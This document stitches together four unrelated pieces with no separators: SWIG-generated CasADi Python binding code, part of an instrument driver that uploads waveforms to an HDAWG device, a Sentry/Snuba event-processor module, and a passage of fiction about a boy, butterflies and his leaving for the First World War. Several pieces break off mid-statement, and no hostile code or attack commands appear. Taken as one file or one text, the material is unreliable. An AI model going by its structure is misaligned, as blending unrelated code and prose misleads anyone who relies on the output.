_casadi.Callback_get_sparsity_in(self, *args) def get_sparsity_out(self, *args): """ Get the sparsity of an output This function is called during construction. get_sparsity_out(self, int i) -> Sparsity """ return _casadi.Callback_get_sparsity_out(self, *args) def get_name_in(self, *args): """ Get the sparsity of an input This function is called during construction. get_name_in(self, int i) -> str """ return _casadi.Callback_get_name_in(self, *args) def get_name_out(self, *args): """ Get the sparsity of an output This function is called during construction. get_name_out(self, int i) -> str """ return _casadi.Callback_get_name_out(self, *args) def uses_output(self, *args): """ Do the derivative functions need nondifferentiated outputs? uses_output(self) -> bool """ return _casadi.Callback_uses_output(self, *args) def has_jacobian(self, *args): """ Return Jacobian of all input elements with respect to all output elements. has_jacobian(self) -> bool """ return _casadi.Callback_has_jacobian(self, *args) def get_jacobian(self, *args): """ Return Jacobian of all input elements with respect to all output elements. get_jacobian(self, str name, [str] inames, [str] onames, dict opts) -> Function """ return _casadi.Callback_get_jacobian(self, *args) def has_forward(self, *args): """ Return function that calculates forward derivatives forward(nfwd) returns a has_forward(self, int nfwd) -> bool cached instance if available, and calls Function get_forward(casadi_int nfwd) if no cached version is available. """ return _casadi.Callback_has_forward(self, *args) def get_forward(self, *args): """ Return function that calculates forward derivatives forward(nfwd) returns a get_forward(self, int nfwd, str name, [str] inames, [str] onames, dict opts) -> Function cached instance if available, and calls Function get_forward(casadi_int nfwd) if no cached version is available. """ return _casadi.Callback_get_forward(self, *args) def has_reverse(self, *args): """ Return function that calculates adjoint derivatives reverse(nadj) returns a has_reverse(self, int nadj) -> bool cached instance if available, and calls Function get_reverse(casadi_int nadj) if no cached version is available. """ return _casadi.Callback_has_reverse(self, *args) def get_reverse(self, *args): """ Return function that calculates adjoint derivatives reverse(nadj) returns a get_reverse(self, int nadj, str name, [str] inames, [str] onames, dict opts) -> Function cached instance if available, and calls Function get_reverse(casadi_int nadj) if no cached version is available. """ return _casadi.Callback_get_reverse(self, *args) def alloc_w(self, *args): """ Allocate work vectors. alloc_w(self, size_t sz_w, bool persist) """ return _casadi.Callback_alloc_w(self, *args) def alloc_iw(self, *args): """ Allocate work vectors. alloc_iw(self, size_t sz_iw, bool persist) """ return _casadi.Callback_alloc_iw(self, *args) def alloc_arg(self, *args): """ Allocate work vectors. alloc_arg(self, size_t sz_arg, bool persist) """ return _casadi.Callback_alloc_arg(self, *args) def alloc_res(self, *args): """ Allocate work vectors. alloc_res(self, size_t sz_res, bool persist) """ return _casadi.Callback_alloc_res(self, *args) def __disown__(self): self.this.disown() _casadi.disown_Callback(self) return weakref_proxy(self) Callback_swigregister = _casadi.Callback_swigregister Callback_swigregister(Callback) def Callback_type_name(*args): """ type_name() -> str """ return _casadi.Callback_type_name(*args) class GlobalOptions(_object): """ Collects global CasADi options. Note to developers: use sparingly. Global options are - in general - a rather bad idea this class must never be instantiated. Access its static members directly <NAME> C++ includes: global_options.hpp """ __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, GlobalOptions, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, GlobalOptions, name) __repr__ = _swig_repr def setSimplificationOnTheFly(*args): """ setSimplificationOnTheFly(bool flag) """ return _casadi.GlobalOptions_setSimplificationOnTheFly(*args) setSimplificationOnTheFly = staticmethod(setSimplificationOnTheFly) def getSimplificationOnTheFly(*args): """ getSimplificationOnTheFly() -> bool """ return _casadi.GlobalOptions_getSimplificationOnTheFly(*args) getSimplificationOnTheFly = staticmethod(getSimplificationOnTheFly) def setHierarchicalSparsity(*args): """ setHierarchicalSparsity(bool flag) """ return _casadi.GlobalOptions_setHierarchicalSparsity(*args) setHierarchicalSparsity = staticmethod(setHierarchicalSparsity) def getHierarchicalSparsity(*args): """ getHierarchicalSparsity() -> bool """ return _casadi.GlobalOptions_getHierarchicalSparsity(*args) getHierarchicalSparsity = staticmethod(getHierarchicalSparsity) def setCasadiPath(*args): """ setCasadiPath(str path) """ return _casadi.GlobalOptions_setCasadiPath(*args) setCasadiPath = staticmethod(setCasadiPath) def getCasadiPath(*args): """ getCasadiPath() -> str """ return _casadi.GlobalOptions_getCasadiPath(*args) getCasadiPath = staticmethod(getCasadiPath) def setMaxNumDir(*args): """ setMaxNumDir(int ndir) """ return _casadi.GlobalOptions_setMaxNumDir(*args) setMaxNumDir = staticmethod(setMaxNumDir) def getMaxNumDir(*args): """ getMaxNumDir() -> int """ return _casadi.GlobalOptions_getMaxNumDir(*args) getMaxNumDir = staticmethod(getMaxNumDir) def __init__(self, *args): """ GlobalOptions(GlobalOptions other) """ this = _casadi.new_GlobalOptions(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _casadi.delete_GlobalOptions GlobalOptions_swigregister = _casadi.GlobalOptions_swigregister GlobalOptions_swigregister(GlobalOptions) def GlobalOptions_setSimplificationOnTheFly(*args): """ setSimplificationOnTheFly(bool flag) """ return _casadi.GlobalOptions_setSimplificationOnTheFly(*args) def GlobalOptions_getSimplificationOnTheFly(*args): """ getSimplificationOnTheFly() -> bool """ return _casadi.GlobalOptions_getSimplificationOnTheFly(*args) def GlobalOptions_setHierarchicalSparsity(*args): """ setHierarchicalSparsity(bool flag) """ return _casadi.GlobalOptions_setHierarchicalSparsity(*args) def GlobalOptions_getHierarchicalSparsity(*args): """ getHierarchicalSparsity() -> bool """ return _casadi.GlobalOptions_getHierarchicalSparsity(*args) def GlobalOptions_setCasadiPath(*args): """ setCasadiPath(str path) """ return _casadi.GlobalOptions_setCasadiPath(*args) def GlobalOptions_getCasadiPath(*args): """ getCasadiPath() -> str """ return _casadi.GlobalOptions_getCasadiPath(*args) def GlobalOptions_setMaxNumDir(*args): """ setMaxNumDir(int ndir) """ return _casadi.GlobalOptions_setMaxNumDir(*args) def GlobalOptions_getMaxNumDir(*args): """ getMaxNumDir() -> int """ return _casadi.GlobalOptions_getMaxNumDir(*args) class CasadiMeta(_object): """ Collects global CasADi meta information. <NAME> C++ includes: casadi_meta.hpp """ __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, CasadiMeta, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, CasadiMeta, name) __repr__ = _swig_repr def version(*args): """ version() -> char const * """ return _casadi.CasadiMeta_version(*args) version = staticmethod(version) def git_revision(*args): """ git_revision() -> char const * """ return _casadi.CasadiMeta_git_revision(*args) git_revision = staticmethod(git_revision) def git_describe(*args): """ git_describe() -> char const * """ return _casadi.CasadiMeta_git_describe(*args) git_describe = staticmethod(git_describe) def feature_list(*args): """ feature_list() -> char const * """ return _casadi.CasadiMeta_feature_list(*args) feature_list = staticmethod(feature_list) def build_type(*args): """ build_type() -> char const * """ return _casadi.CasadiMeta_build_type(*args) build_type = staticmethod(build_type) def compiler_id(*args): """ compiler_id() -> char const * """ return _casadi.CasadiMeta_compiler_id(*args) compiler_id = staticmethod(compiler_id) def compiler(*args): """ compiler() -> char const * """ return
+ \ "reported by instrument. " + \ "Please report this error: " + \ "status integer = \'" + \ str(compiler_status)+"\'") # Initiate upload process. report_line = 1 time.sleep(0.2) # TODO: This delay should be minimised. # elf/status provides information whether the upload is succeeding. while (self.awgModule.getDouble('awgModule/progress') < 1.0) \ and (self.awgModule.getInt('awgModule/elf/status') != 1) \ and (upload_timeout_ms >= 0): # Fetch progress progress = self.awgModule.getDouble('awgModule/progress') * 100.0 if progress >= 100.0: break # Take a shortcut in case of tiny sequencer snippets # Print status self.log("< {} > awgModule/progress: {:.1f}%".format( \ report_line, \ progress \ ), \ level=30 \ ) # Increments the current amount of printed objects report_line += 1 # The delay should be minimised to the smallest number possible # not affecting the overall performance. For instance, a de-sync # would be considered performance-breaking. if progress >= 98.0: time.sleep(0.025) compile_timeout_ms -= 25 elif progress >= 70.0: time.sleep(0.300) compile_timeout_ms -= 300 else: time.sleep(0.600) compile_timeout_ms -= 600 # Fetch upload status elf_status = self.awgModule.getInt('awgModule/elf/status') # Check for upload timeout if upload_timeout_ms <= 0: raise CompileAndUploadFailure("The upload process timed out.") # Upload reported success elif elf_status == 0: self.log("< {} > awgModule/progress: 100% - Success".format( \ report_line ), \ level=30 \ ) # Upload reported failure (by not reporting success) elif elf_status == 1: raise CompileAndUploadFailure( \ "Upload to the instrument failed at {:.2f}".format( \ self.awgModule.getDouble('awgModule/progress') * 100.0 \ ) \ ) # Unknown error else: raise CompileAndUploadFailure( \ "Unknown upload status reported " + \ "by instrument at {:.2f}".format( \ self.awgModule.getDouble('awgModule/progress') * 100.0 \ ) \ ) # # TODO Delete or leave in? # # If the device was playing before, enable playback again. # # Ensure that the value is indeed set. # if AWG_playback_status == 1: # timeout = 0.0 # while (((self.awgModule.get('awgModule/awg/enable')).get('awg'))\ # .get('enable')[0] != 1) and (timeout <= 2.0): # # TODO these values should be minimised # time.sleep(0.05) # timeout += 0.05 # self.awgModule.set('awgModule/awg/enable', 1) # Perform a final check whether the sequencer has run out of memory cache_utilisation = self.daq.getDouble( \ '/'+str(self.dev)+'/awgs/0/waveform/memoryusage') if cache_utilisation > 0.9999: if self.getValue('Halt on cache overflow'): raise MemoryError( "The sequencer ran out of cache space " + \ "("+str(cache_utilisation * 100.0)+"%)" + \ ". Disable \'Halt on cache overflow\' " + \ "or reduce waveform lengths to continue.") else: self.log( "Warning: out of sequencer cache memory. " + \ "Expect lower performance.", level=30) def writeWaveformToMemory(self): ''' Upload waveform vector data to device memory. TODO insert more description. ''' # Resetting the core and wave indices core_index = 0 # Acquiring package length n = self.buffer_length # First, we disable the playback. # TODO necessary? '''self.daq.setInt('/'+str(self.dev)+'/awgs/0/enable', 0)''' # In order to not crash the device, all waveforms must be uploaded # interleaved except the last one if it's odd. Not used channels # must also be declared as phantom waveforms up to the highest channel # in use, causing a large waste of resources. # Upload waveform vector data, poll all channels pairwise. # Remember that highest_waveform_in_use = 0 corresponds to no # waveforms declared for playback, and 1 corresponds to update # waveform 0 for channel 1. This way, this loop will not trigger # when there are no waveforms to play back. for channel in range(0, self.highest_waveform_in_use, 2): # Upload waveforms? if self.waveform_changed[channel] or \ self.waveform_changed[channel+1]: # Because the user may have changed the measurement range # between the two measurement points in question, # we must fetch and re-check both x1 and x2. # Reset flags: self.waveform_changed[channel ] = False self.waveform_changed[channel+1] = False # Load waveforms channel and channel+1 for treatment x1 = np.asarray( self.loaded_waveforms[channel ] , dtype = float ) x2 = np.asarray( self.loaded_waveforms[channel+1] , dtype = float ) # Get their lengths, used several times. len_x1 = len(x1) len_x2 = len(x2) # Get the output range of the channels. When running waves with # 'Direct output' enabled, the output range is fixed to 800 mV. # The direct output is known as 'Bypass DAC to port' in the # instruction file due to repeated confusion in usage cases. '''TODO This is unnecessary right? Since the instrument and/or command automatically changes the output range when the 'Direct mode' (Bypass) is in effect? Meaning that first checking whether it is bypassed is unnecessary.''' if not self.getValue( \ 'Channel %d - Bypass DAC to port' % (channel + 1)): output_range_x1 = float(self.getCmdStringFromValue( \ 'Channel %d - Range' % (channel + 1))) else: output_range_x1 = 0.8 if not self.getValue( \ 'Channel %d - Bypass DAC to port' % (channel + 2)): output_range_x2 = float(self.getCmdStringFromValue( \ 'Channel %d - Range' % (channel + 2))) else: output_range_x2 = 0.8 # Prepare mnemonic package data = np.zeros((n, 3)) data[:len_x1, 0] = x1 / output_range_x1 data[:len_x2, 1] = x2 / output_range_x2 assert np.max(abs(data[:,0])) <= 1, \ "Halted. The HDAWG was tasked to play a value on " + \ "channel "+str(channel+1)+" larger than the " + \ "channel's range. The absolute value of the maximum " + \ "was "+str(np.max(abs(x1)))+" V." assert np.max(abs(data[:,1])) <= 1, \ "Halted. The HDAWG was tasked to play a value on " + \ "channel "+str(channel+2)+" larger than the " + \ "channel's range. The absolute value of the maximum " + \ "was "+str(np.max(abs(x2)))+" V." # Convert the array data to an injectable data format. # The appropriate core index is hard-coded to 0 as we either # replace the first waveform, or both the first and second # waveform of the core in question. In both cases, the index # should be 0. # Does the waveform contain markers? This check is done # in order to speed up uploading, since most waveforms will # not contain markers. if self.waveform_has_markers[channel] or \ self.waveform_has_markers[channel+1]: # The waveform has associated marker data. # The promise up to this point is that this marker data # *must* be of the same length as the waveforms themselves. # Load associated marker data for treatment. Remember that # markers are stored per channel output, and contains both # available markers on that channel. # TODO THIS DOES NOT LOAD MARKER 2 # TODO There is a mismatch in the marker data. # There is a single spurious single datapoint that # is left turned on. marker = 0 x_marks = np.zeros(n) x_marks[int(self.marker_configuration[channel,marker,0]): int(self.marker_configuration[channel,marker,0])+int(self.marker_configuration[channel,marker,1])] = 1 data[:, 2] = x_marks # TODO If ZI adds support for different-length upload packets, # then the marker data cannot be locked to be strictly the # length of the buffer. # Will there be an interleaved upload? # Note the optimisation: # if channel+1 <= self.highest_waveform_in_use-1: if channel <= self.highest_waveform_in_use-2: inject = \ ziUtils.convert_awg_waveform( wave1=data[:,0], \ wave2=data[:,1], \ markers=data[:,2]) else: inject = \ ziUtils.convert_awg_waveform( wave1=data[:,0], \ markers=data[:,2]) try: # Set command basis base = '/%s/awgs/%d/' % (self.dev, core_index) # Inject the injectable data. Note that all uploads # whatsoever will be sent to wave index 0, even # interleaved ones. self.daq.setVector(base + 'waveform/waves/0', inject) except Exception as setVector_exception: # Get time of error error_timestamp = \ (datetime.now()).strftime("%d-%b-%Y (%H:%M:%S)") self.log( "WARNING: There was an exception when " +\ "attempting to upload waveforms (with " +\ "markers) at time: "+\ error_timestamp, level=30) # Get exception self.log( \ "The exception was: " + str(setVector_exception),\ level=30) else: # The waveform does not have associated markers. # Perform normal upload. # Will there be an interleaved upload? # Note the optimisation: # if channel+1 <= self.highest_waveform_in_use-1: if channel <= self.highest_waveform_in_use-2:
from datetime import datetime, timedelta from typing import Optional import logging import _strptime # NOQA fixes _strptime deferred import issue from snuba import settings from snuba.processor import ( _as_dict_safe, _boolify, _collapse_uint32, _ensure_valid_date, _ensure_valid_ip, _floatify, _hashify, _unicodify, InvalidMessageType, InvalidMessageVersion, MessageProcessor, ProcessorAction, ProcessedMessage, ) logger = logging.getLogger('snuba.processor') def extract_base(output, message): output['event_id'] = message['event_id'] project_id = message['project_id'] output['project_id'] = project_id return output def extract_user(output, user): output['user_id'] = _unicodify(user.get('id', None)) output['username'] = _unicodify(user.get('username', None)) output['email'] = _unicodify(user.get('email', None)) ip_addr = _ensure_valid_ip(user.get('ip_address', None)) output['ip_address'] = str(ip_addr) if ip_addr is not None else None def extract_extra_tags(output, tags): tag_keys = [] tag_values = [] for tag_key, tag_value in sorted(tags.items()): value = _unicodify(tag_value) if value: tag_keys.append(_unicodify(tag_key)) tag_values.append(value) output['tags.key'] = tag_keys output['tags.value'] = tag_values def extract_extra_contexts(output, contexts): context_keys = [] context_values = [] valid_types = (int, float, str) for ctx_name, ctx_obj in contexts.items(): if isinstance(ctx_obj, dict): ctx_obj.pop('type', None) # ignore type alias for inner_ctx_name, ctx_value in ctx_obj.items(): if isinstance(ctx_value, valid_types): value = _unicodify(ctx_value) if value: context_keys.append("%s.%s" % (ctx_name, inner_ctx_name)) context_values.append(_unicodify(ctx_value)) output['contexts.key'] = context_keys output['contexts.value'] = context_values def enforce_retention(message, timestamp): project_id = message['project_id'] retention_days = settings.RETENTION_OVERRIDES.get(project_id) if retention_days is None: retention_days = int(message.get('retention_days') or settings.DEFAULT_RETENTION_DAYS) # This is not ideal but it should never happen anyways timestamp = _ensure_valid_date(timestamp) if timestamp is None: timestamp = datetime.utcnow() # TODO: We may need to allow for older events in the future when post # processing triggers are based off of Snuba. Or this branch could be put # behind a "backfill-only" optional switch. if settings.DISCARD_OLD_EVENTS and timestamp < (datetime.utcnow() - timedelta(days=retention_days)): raise EventTooOld return retention_days class EventsProcessor(MessageProcessor): def __init__(self, promoted_tag_columns): self.__promoted_tag_columns = promoted_tag_columns def process_message(self, message, metadata=None) -> Optional[ProcessedMessage]: """\ Process a raw message into a tuple of (action_type, processed_message): * action_type: one of the sentinel values INSERT or REPLACE * processed_message: dict representing the processed column -> value(s) Returns `None` if the event is too old to be written. """ action_type = None if isinstance(message, dict): # deprecated unwrapped event message == insert action_type = ProcessorAction.INSERT try: processed = self.process_insert(message, metadata) except EventTooOld: return None elif isinstance(message, (list, tuple)) and len(message) >= 2: version = message[0] if version in (0, 1, 2): # version 0: (0, 'insert', data) # version 1: (1, type, data, [state]) # NOTE: types 'delete_groups', 'merge' and 'unmerge' are ignored # version 2: (2, type, data, [state]) type_, event = message[1:3] if type_ == 'insert': action_type = ProcessorAction.INSERT try: processed = self.process_insert(event, metadata) except EventTooOld: return None else: if version == 0: raise InvalidMessageType("Invalid message type: {}".format(type_)) elif version == 1: if type_ in ('delete_groups', 'merge', 'unmerge'): # these didn't contain the necessary data to handle replacements return None else: raise InvalidMessageType("Invalid message type: {}".format(type_)) elif version == 2: # we temporarily sent these invalid message types from Sentry if type_ in ('delete_groups', 'merge'): return None if type_ in ('start_delete_groups', 'start_merge', 'start_unmerge', 'start_delete_tag', 'end_delete_groups', 'end_merge', 'end_unmerge', 'end_delete_tag'): # pass raw events along to republish action_type = ProcessorAction.REPLACE processed = (str(event['project_id']), message) else: raise InvalidMessageType("Invalid message type: {}".format(type_)) if action_type is None: raise InvalidMessageVersion("Unknown message format: " + str(message)) if processed is None: return None return ProcessedMessage( action=action_type, data=[processed], ) def process_insert(self, message, metadata=None): processed = {'deleted': 0} extract_base(processed, message) processed["retention_days"] = enforce_retention( message, datetime.strptime(message['datetime'], settings.PAYLOAD_DATETIME_FORMAT), ) self.extract_required(processed, message) data = message.get('data', {}) # HACK: https://sentry.io/sentry/snuba/issues/802102397/ if not data: logger.error('No data for event: %s', message, exc_info=True) return None self.extract_common(processed, message, data) sdk = data.get('sdk', None) or {} self.extract_sdk(processed, sdk) tags = _as_dict_safe(data.get('tags', None)) self.extract_promoted_tags(processed, tags) contexts = data.get('contexts', None) or {} self.extract_promoted_contexts(processed, contexts, tags) user = data.get('user', data.get('sentry.interfaces.User', None)) or {} extract_user(processed, user) geo = user.get('geo', None) or {} self.extract_geo(processed, geo) http = data.get('request', data.get('sentry.interfaces.Http', None)) or {} self.extract_http(processed, http) extract_extra_contexts(processed, contexts) extract_extra_tags(processed, tags) exception = data.get('exception', data.get('sentry.interfaces.Exception', None)) or {} stacks = exception.get('values', None) or [] self.extract_stacktraces(processed, stacks) if metadata is not None: processed['offset'] = metadata.offset processed['partition'] = metadata.partition return processed def extract_required(self, output, message): output['group_id'] = message['group_id'] or 0 # This is not ideal but it should never happen anyways timestamp = _ensure_valid_date(datetime.strptime(message['datetime'], settings.PAYLOAD_DATETIME_FORMAT)) if timestamp is None: timestamp = datetime.utcnow() output['timestamp'] = timestamp def extract_common(self, output, message, data): # Properties we get from the top level of the message payload output['platform'] = _unicodify(message['platform']) output['primary_hash'] = _hashify(message['primary_hash']) # Properties we get from the "data" dict, which is the actual event body. received = _collapse_uint32(int(data['received'])) output['received'] = datetime.utcfromtimestamp(received) if received is not None else None output['culprit'] = _unicodify(data.get('culprit', None)) output['type'] = _unicodify(data.get('type', None)) output['version'] = _unicodify(data.get('version', None)) output['title'] = _unicodify(data.get('title', None)) output['location'] = _unicodify(data.get('location', None)) # The following concerns the change to message/search_message # There are 2 Scenarios: # Pre-rename: # - Payload contains: # "message": "a long search message" # - Does NOT contain a `search_message` property # - "message" value saved in `message` column # - `search_message` column nonexistent or Null # Post-rename: # - Payload contains: # "search_message": "a long search message" # - Optionally the payload's "data" dict (event body) contains: # "message": "short message" # - "search_message" value stored in `search_message` column # - "message" value stored in `message` column # output['search_message'] = _unicodify(message.get('search_message', None)) if output['search_message'] is None: # Pre-rename scenario, we expect to find "message" at the top level output['message'] = _unicodify(message['message']) else: # Post-rename scenario, we check in case we have the optional # "message" in the event body. output['message'] = _unicodify(data.get('message', None)) module_names = [] module_versions = [] modules = data.get('modules', {}) if isinstance(modules, dict): for name, version in modules.items(): module_names.append(_unicodify(name)) # Being extra careful about a stray (incorrect by spec) `null` # value blowing up the write. module_versions.append(_unicodify(version) or '') output['modules.name'] = module_names output['modules.version'] = module_versions def extract_sdk(self, output, sdk): output['sdk_name'] = _unicodify(sdk.get('name', None)) output['sdk_version'] = _unicodify(sdk.get('version', None)) sdk_integrations = [] for i in sdk.get('integrations', None) or (): i = _unicodify(i) if i: sdk_integrations.append(i) output['sdk_integrations'] = sdk_integrations def extract_promoted_tags(self, output, tags): output.update({col.name: _unicodify(tags.get(col.name, None)) for col in self.__promoted_tag_columns }) def extract_promoted_contexts(self, output, contexts, tags): app_ctx = contexts.get('app', None) or {} output['app_device'] = _unicodify(tags.get('app.device', None)) app_ctx.pop('device_app_hash', None) # tag=app.device os_ctx = contexts.get('os', None) or {} output['os'] = _unicodify(tags.get('os', None)) output['os_name'] = _unicodify(tags.get('os.name', None)) os_ctx.pop('name', None) # tag=os and/or os.name os_ctx.pop('version', None) # tag=os output['os_rooted'] = _boolify(tags.get('os.rooted', None)) os_ctx.pop('rooted', None) # tag=os.rooted output['os_build'] = _unicodify(os_ctx.pop('build', None)) output['os_kernel_version'] = _unicodify(os_ctx.pop('kernel_version', None)) runtime_ctx = contexts.get('runtime', None) or {} output['runtime'] = _unicodify(tags.get('runtime', None)) output['runtime_name'] = _unicodify(tags.get('runtime.name', None)) runtime_ctx.pop('name', None) # tag=runtime and/or runtime.name runtime_ctx.pop('version', None) # tag=runtime browser_ctx = contexts.get('browser', None) or {} output['browser'] = _unicodify(tags.get('browser', None)) output['browser_name'] = _unicodify(tags.get('browser.name', None)) browser_ctx.pop('name', None) # tag=browser and/or browser.name browser_ctx.pop('version', None) # tag=browser device_ctx = contexts.get('device', None) or {} output['device'] = _unicodify(tags.get('device', None)) device_ctx.pop('model', None) # tag=device output['device_family'] = _unicodify(tags.get('device.family', None)) device_ctx.pop('family', None) # tag=device.family output['device_name'] = _unicodify(device_ctx.pop('name', None)) output['device_brand'] = _unicodify(device_ctx.pop('brand', None)) output['device_locale'] = _unicodify(device_ctx.pop('locale', None)) output['device_uuid'] = _unicodify(device_ctx.pop('uuid', None)) output['device_model_id'] = _unicodify(device_ctx.pop('model_id', None)) output['device_arch'] = _unicodify(device_ctx.pop('arch', None)) output['device_battery_level'] = _floatify(device_ctx.pop('battery_level', None)) output['device_orientation'] = _unicodify(device_ctx.pop('orientation', None)) output['device_simulator'] = _boolify(device_ctx.pop('simulator', None)) output['device_online'] = _boolify(device_ctx.pop('online', None)) output['device_charging'] = _boolify(device_ctx.pop('charging', None)) def extract_geo(self, output, geo): output['geo_country_code'] = _unicodify(geo.get('country_code', None)) output['geo_region'] = _unicodify(geo.get('region', None)) output['geo_city'] = _unicodify(geo.get('city', None)) def extract_http(self, output, http): output['http_method'] = _unicodify(http.get('method', None)) http_headers = _as_dict_safe(http.get('headers', None)) output['http_referer'] = _unicodify(http_headers.get('Referer', None)) def extract_stacktraces(self, output, stacks): stack_types = [] stack_values = [] stack_mechanism_types = [] stack_mechanism_handled = [] frame_abs_paths = [] frame_filenames = [] frame_packages = [] frame_modules = [] frame_functions = [] frame_in_app = [] frame_colnos = [] frame_linenos = [] frame_stack_levels = [] stack_level = 0 for stack in stacks: if stack is None: continue stack_types.append(_unicodify(stack.get('type', None))) stack_values.append(_unicodify(stack.get('value', None))) mechanism = stack.get('mechanism', None) or {} stack_mechanism_types.append(_unicodify(mechanism.get('type', None))) stack_mechanism_handled.append(_boolify(mechanism.get('handled', None))) frames = (stack.get('stacktrace', None) or {}).get('frames', None) or [] for frame in frames: if frame is None: continue frame_abs_paths.append(_unicodify(frame.get('abs_path', None))) frame_filenames.append(_unicodify(frame.get('filename', None))) frame_packages.append(_unicodify(frame.get('package', None))) frame_modules.append(_unicodify(frame.get('module', None))) frame_functions.append(_unicodify(frame.get('function', None))) frame_in_app.append(frame.get('in_app', None)) frame_colnos.append(_collapse_uint32(frame.get('colno', None))) frame_linenos.append(_collapse_uint32(frame.get('lineno', None))) frame_stack_levels.append(stack_level) stack_level += 1 output['exception_stacks.type'] = stack_types output['exception_stacks.value'] = stack_values output['exception_stacks.mechanism_type'] = stack_mechanism_types output['exception_stacks.mechanism_handled'] = stack_mechanism_handled output['exception_frames.abs_path'] = frame_abs_paths output['exception_frames.filename'] = frame_filenames output['exception_frames.package']
of the clover-patch at the edge of the lawn stormed a myriad of butterflies and floated about the golden head. “Oh, the butterflies take you for a flower, Dicky,” cried the girl. The little chap stood quite still, smiling and blinking through the winged sunshine, and then, behold, three or four of the lovely things fluttered down on his head. The young woman flashed out and caught him and hugged him till he squealed lustily. “Don’t, muvver,” remonstrated Dicky. “You’ll scare my ’ittle birds. They ’ike us, muvver.” “It’s good luck to have a butterfly light on you,” she informed him, and then, in a flash of some unplaced memory, with the quick mysticism of her Irish blood: “A butterfly is the symbol of immortality.” “’Esh,” agreed Dicky gravely. “’Esh a ’sympum--” and there he lost himself, and threw back his head and roared rich laughter at the droll long word. “It must have looked pretty,” the boy’s father agreed that night. “I wonder what sort they were. I used to collect them. There’s a book--” He went to the shelves and searched. “This is it.” There were pages here and there of colored pictures. “No. 2,” he read, and pointed to a list. “The Cloudless Sulphur. Were they solid yellow?” He turned a page. “‘The Cloudless Sulphur,’” he began reading aloud. “‘Large, two and a half inches. Wings uniform bright canary color. Likely to light on yellow flowers; social; it flies in masses and congregates on flowers. Habit of migrating in flocks from Southeast to Northwest in the spring and from Northwest to Southeast in the autumn. Food, cassia, etc. Family, Pieridæ.’ That’s the fellow,” decided the boy’s father, learned in butterflies. “A Pierid. ‘Many butterflies hide under clover,’” he read along, “‘and down in grasses--pass the nights there. Some sorts only come out freely in sunshine.’ Didn’t you say the sun came?” “All at once. They flew up then as if at a command.” She nodded. “That’s exactly the creature. And where it says about lighting on flowers of the same color--they did take Dicky’s head for a flower, didn’t they, Tom?” “It certainly seems as if they did.” The man smiled. “Kentucky is likely on the line of their spring migration Northwesterly. I reckon Dicky’s friends are the Cloudless Sulphur.” Dicky’s father died when the boy was eleven. The years ran on. Life adjusted itself as life must, and the child grew, as that other Child twenty centuries back, in wisdom and stature and in favor with God and man. There might have been more boys in America as upstanding in body and character, as loving and clever and strong and merry, as beautiful within and without as her boy, the woman considered, but she had never seen one. His very faults were dear human qualities which made him more adorable. With his tenderness and his roughness, his teachableness and his stubbornness, his terror of sentiment and his gusts of heavenly sweet love-making, the boy satisfied her to the end of her soul. Buoyancy found her again, and youth, and the joy of an uphill road with this gay, strong comrade keeping step along it. Then the war came. All his life she had missed no chance to make her citizen first of all things an American. And now that carefully fed flame of patriotism flamed to cover all America. “We must go in, mother. Gosh! it’s only decent. We could bring peace. We must go in,” he raged. He was too young to go across and he raged more at his youth. His mother gloried in and shivered at his rage. At last America was in, and the boy, who had trained in his university, could not fling himself fast enough into the service. The woman, as hundreds of thousands of other American women, was no slacker. There was a jingle in the papers: “America, he is my only one, My hope, my pride, and joy; But if I had another He should march beside his brother, America, here’s my boy!” The jingle hit straight at armies of women in those days. No officers’ training-camp for Dick; he would go as an enlisted man with the rank and file of American men. “But you’re officer material,” complained his mother. “Aren’t you wasting power that the country may need?” “If I can win shoulder-bars, honey, hooray!” said Dick. “Otherwise, me for a dough-boy.” So as a dough-boy he went to Camp Meade, but in three months wore the stripes of a sergeant. Radiant, he tumbled in at home a week later, such a joyful lad that he sputtered ecstasy and slang. Tremendous he looked in his uniform, fresh colored from cold barracks and constant exercise and in an undreamed pink of condition. “I never considered you a delicate person,” the woman spoke up to the six feet two of him, “but now you’re overpowering, you’re beefy.” “Couldn’t kill me with an axe,” assented Dick cheerfully, and back in her brain a hideous, unformed thought stirred, of things that were not axes, that could kill easily even this magnificent young strength. They were as gay together as if all the training and the uniform and the stir and panoply of war were merely a new and rather thrilling game. She saw to it that there were theatres and dances and girls doing, and the lad threw himself into everything with, however, a delicious grumble after each party: “I don’t get a chance to see you at all.” That was music. And then the short, gay leave was done and Dick back at Meade again. The winter months went, with letters thickly coming and going. And late in May he wrote that he had leave once more for two days, and instantly he was there. There was no word as to what the sudden leave meant, but they knew. When it was possible our soldiers due to sail were given this short flying visit to their homes. Transports were going all the time now; great ship followed great ship till it seemed as if the Atlantic must be brown with khaki. And not the nearest of any must know when his time was, for this was one bit of the national patriotism, to guard the knowledge of sailing ships from the enemy. So the boy told nothing, but his eyes embraced her with a burning word unspoken. And her eyes met them with certain knowledge. “Let’s cut out the girls and balls this time,” he said. And one day, apropos of nothing: “You’re a peach.” She smiled back cheerfully as women were smiling at boys all over the United States at that date. “I couldn’t bear it if you weren’t in the service,” she said. In a few minutes--it appeared--the two days were over. “Run across for one second and say good-by to Lynnette,” she suggested, when the racing hours were within three of their end. Lynnette was the girl next door who had grown up in the shadow of Dick’s bigness, a little thing two years younger, shy and blunt and not just a pretty girl, but with luminous eyes and a heart of gold. Dick had to be prodded a bit to be nice to Lynnette. “I don’t want to miss one second of you, honey,” he objected. “Don’t you dare stay over a second. But a glimpse would mean a lot to her, and she’s a darling to me.” “Oh, all right,” agreed Dick. “Because she’s a darling to you--” and he swung off. “Dick--” as he sprang from the gallery. He turned. “Kiss her good-by, Dick.” “What sort of a mother----!” “She’ll object, but she’ll like it.” “You little devil,” Dick chuckled, “can’t you let a fellow handle his own kissing?” And started again, easy, elastic, made of sliding muscles. “Oh, Dick!” called his mother once more, and once more the brown figure halted. “Now, then, woman?” “Don’t peck, Dick; kiss her a thorough one.” Dick’s laughter rang across the little place. The echo of that big laughter in the woman was not a quickened pulse of gladness as it had been all his days; a sick aching answered the beloved sound, and the stab of a thought--would ever Dick laugh across the garden again? With that he was back, grinning. “I did it,” stated Dick. “It’s not often a chap’s commanding officer sends him out with orders for a kissing attack,
